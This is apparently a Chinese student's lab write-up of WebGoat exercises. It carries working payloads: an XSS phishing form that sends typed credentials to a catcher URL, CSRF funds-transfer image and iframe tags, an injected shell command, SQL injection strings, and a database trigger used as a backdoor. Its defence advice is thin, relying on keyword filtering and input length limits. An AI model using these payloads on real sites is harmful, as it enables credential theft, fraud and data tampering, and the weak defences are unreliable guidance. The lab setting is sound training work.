20155308《網絡對抗》Exp9 Web安全基礎實踐

20155308《網絡對抗》Exp9 Web安全基礎實踐

本實踐的目標理解經常使用網絡攻擊技術的基本原理。Webgoat實踐下相關實驗。javascript

基礎問題回答

  1. SQL注入攻擊原理,如何防護?
  • 原理:攻擊者把SQL命令插入到網頁的各類查詢字符串處,達到欺騙服務器執行惡意的SQL命令。
  • 防護:在網頁設計時對文本框的輸入進行限制,好比說長度限制、不能出現#號等

2.XSS攻擊的原理,如何防護?html

  • 原理:攻擊者在可輸入域插入一些html或腳本語言使服務器執行那些代碼
  • 防護:關鍵字防護,好比過濾script這種敏感詞彙,減小被攻擊的風險

3.CSRF攻擊原理,如何防護?前端

  • 原理:通常人A在登錄後,在本身的主機頁面點擊的各種請求都是以A的名義發送的,即A有A的權限;攻擊者B在網頁注入一個惡意的CSRF攻擊URL地址,在A點擊後,B借用A的身份進行非法操做,即B有了A的權限
  • 防護:
    1)cookie的保存時間不宜過長;
    2)服務器要求用戶輸入相對應的驗證碼;
    3)服務器儘可能在表單中使用post方法

實驗過程

WebGoat

  • WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,目前提供的訓練課程有不少,包含了XSS、線程安全、SQL注入等,咱們本次的實驗就是在WebGoat平臺上進行。

1.WebGoat分爲簡單版和開發板,簡單版是個Java的Jar包,只須要有Java環境便可,咱們在命令行裏執行java -jar webgoat-container-7.0.1-war-exec.jar
運行WebGoat:java

2.當頁面成功停在下圖位置時,最小化終端窗口:程序員

3.打開瀏覽器,在地址欄輸入localhost:8080/WebGoat打開WebGoat,選擇默認帳號、密碼便可登錄成功。web

4.進入WebGoat以後,能夠看到有不少題目來讓咱們進行練習。sql

XSS攻擊

  • 簡單說,就是在網站任何接受正常文本輸入的地方,輸入Javascript腳本,並讓腳本執行。

一、Phishing with XSS 跨站腳本釣魚攻擊

  • 跨站腳本攻擊最大的魅力是經過HTML注入劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,甚至能夠模擬用戶當前的操做。這裏實驗的是一種獲取用戶名和密碼的攻擊

先編寫一個包含用戶名、密碼的前端代碼:數據庫

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

而後在webgoat找到xss攻擊打開Phishing with XSS(第一個選項),將這段代碼輸入到輸入框中,點擊search出現以下登陸框:瀏覽器

1.在登陸框中輸入用戶名、密碼:安全

2.點擊登陸後跳出彈框,其中包含用戶輸入的用戶名、密碼。

3.攻擊成功!

二、Stored XSS Attacks 存儲型XSS攻擊

存儲型XSS的攻擊基本流程:

a. 好比在某個論壇提供留言板功能,黑客在留言板內插入惡意的html或者Javascript代碼,而且提交。

b. 網站後臺程序將留言內容存儲在數據中

c. 而後一個用戶也訪問這個論壇,並刷新了留言板,這時網站後臺從數據庫中讀取了以前黑客的留言內容,而且直接插入在html頁面中,這就可能致使了:黑客留言的腳本自己應該做爲內容顯示在留言板的,而後此時可能黑客的留言腳本被瀏覽器解釋執行了。

那麼黑客的腳本能夠用來作哪些事兒:

經過javascript獲取用戶的cookie,根據這個cookie竊取用戶信息

重定向網站到一個釣魚網站

從新更改頁面內容,僞裝讓客戶輸入用戶名,密碼,而後提交到黑客的服務器

1.打開Stored XSS Attacks(XSS第二個選項),在Message框中輸入<script>alert("I am 20155308 haowenfei");</script>

2.提交後,再次點擊剛剛建立的帖子,成功彈出窗口,說明攻擊成功:


三、Reflected XSS Attacks 反射型XSS攻擊

1.當咱們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展現給咱們看:


2.打開Reflected XSS Attacks(XSS的第三個選項),在code框中輸入<script>alert("I am 20155308 haowenfei");</script>

3.點擊Purchase出現對話框,顯示I am 20155308 haowenfei。攻擊成功!

CSRF攻擊

1.咱們的目的是要寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,咱們能夠以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。

2.打開CSRF

2.咱們在message框中輸入這樣一串代碼:
<img src='attack?Screen=src值&menu=menu值&transferFunds=轉帳數額' width='1' height='1'>,注意這裏面的Screen和menu的值每一個人的電腦可能不同,能夠在當前頁面的下面有個Parameters進行查看:


3.提交後生成一個連接20155308:

4.點擊學號名便可查看用戶操做的信息,攻擊成功,轉賬了20155308元。

二、CSRF Prompt By-Pass

1.咱們依舊和上一個同樣要構造CSRF攻擊,不過此次其包括了兩個請求,一是轉帳請求,二是確認轉帳成功請求,即須要額外傳遞兩個參數給服務器(transferFunds=........,transferFunds=CONFIRM)

2.查看頁面右邊Parameters中的src和menu值,並在title框中輸入學號,message框中輸入代碼:

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉帳數額"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

提交後生成一個連接20155308:

3.點擊學號名便可查看用戶操做的信息,攻擊成功

SQL注入攻擊

  • SQL注入攻擊是黑客對數據庫進行攻擊的經常使用手段之一。隨着B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也愈來愈多。可是因爲程序員的水平及經驗也良莠不齊,至關大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶能夠提交一段數據庫查詢代碼,根據程序返回的結果,得到某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。

一、Command Injection

1.這個題是要求可以在目標主機上執行系統命令,咱們能夠經過火狐瀏覽器下的一個擴展Firebug(就是右上角的小蟲的標誌)對源代碼進行修改,例如在BackDoors.help旁邊加上"& netstat -an & ipconfig"

2.以後在下拉菜單中能看到咱們修改後的值:

3.選中修改後的值再點view,能夠看到命令被執行,出現系統網絡鏈接狀況:

二、Numeric SQL Injection

1.咱們要經過注入SQL字符串的方式查看全部的天氣數據,咱們上次實驗作過相似的,只要加上一個1=1這種永真式便可達到咱們的目的,依舊利用firebug,在任意一個值好比101旁邊加上or 1=1

2.選中Columbia,點Go,能夠看到全部天氣數據:

三、Log Spoofing

  • 在User Name文本框中輸入%0d%0aLogin succeeded !admin達到欺騙登陸效果,破解成功:


四、LAB:SQL Injection(Stage 1:String SQL Injection)

1.使用一個新的工具firebug(瀏覽器右上方有一個小昆蟲同樣的標誌),能夠顯示當前網頁的源碼並直接在其中修改。

2.使用用戶Neville進行登陸,在密碼欄中輸入' or 1=1 --進行SQL注入,本覺得會成功,可是登陸失敗,查看源碼發現輸入框對輸入的字符長度進行了限制,最多容許輸入8個字符。

3.在查看源碼的時候怎麼找到限制字符長度的語句在哪裏呢?在查看源碼的窗口的頂部左邊有一個鼠標同樣的標誌,點擊它,再點擊題目頁面的password輸入框的位置,源碼部分就會自動跳轉到關於密碼的部分,縮小範圍後就好找多了。

4.對長度maxlength值改爲了100(點擊Edit,進行編輯),而後在密碼欄中再次輸入' or 1=1 --,點擊登陸就成功了(記得在登錄的時候不要關閉源代碼程序,由於源代碼程序不能保存,一關掉,至關於回到以前的代碼了)


五、LAB:SQL Injection(Stage 3:Numeric SQL Injection)

1.用上一題的方法成功登陸成功以後,點擊ViewProfile能夠看到Larry的信息



2.查看網頁源碼,選擇查看viewprofile部分的代碼,這時候能夠看到一行用員工id做爲索引來傳送數據的代碼,雙擊這行代碼就能夠出現value的值,由於咱們想要用Larry的帳戶瀏覽老闆信息,而大多數企業公司里老板的工資應該是最高的,因此咱們就把其中的value值由101改成101 or 1=1 order by salary desc --


3.再去查詢Larry信息,發現咱們看到的是老闆的信息


能夠看到老闆應該就是Neville了,電話地址電郵工資卡等等信息盡收眼底。

六、Database Backdoors

1.先輸入示例101進行嘗試,獲得了該用戶的信息。

2.觀察發現輸入的語句不進行驗證,因而咱們輸入語句:101; update employee set salary=5308成功將該用戶的工資變成5308,攻擊成功:

3.若是輸入語句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155308@hackme.com' WHERE userid = NEW.userid就能夠了,表中一旦添加新用戶那麼就在用戶表裏將新用戶的郵箱改成我設置的郵箱。

七、Blind Numeric SQL Injection

1.嘗試題目中給出的例子,在輸入框輸入101,運行後發現返回Account number is valid,說明這個數是合法的!

2.構造輸入語句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 數值 );,根據返回的語句是否合法判斷pin值的範圍。這裏使用二分法,測試值是多少

3.最後肯定值是2364,輸入2364後破解成功:

實驗總結與體會

本次實驗我是在老師kali機的環境下進行的,沒有過多關注環境的搭建,由於之前都進行過,因此更多的關注點都在Webgoat上的實踐。經過對Webgoat的使用,主要學習了SQL注入攻擊、XSS攻擊和CSRF攻擊。對於這三個方面的攻擊,分爲不少小模塊的學習。在整個學習過程當中,發現咱們此次的實驗攻擊不少部分都是關於構造語句、更改語句進行的攻擊,我以爲這個部分雖然如今實現很簡單,可是經過學習的不斷深刻,如何可以將攻擊高層次化,更加完整,是咱們學習的目標。

相關文章
相關標籤/搜索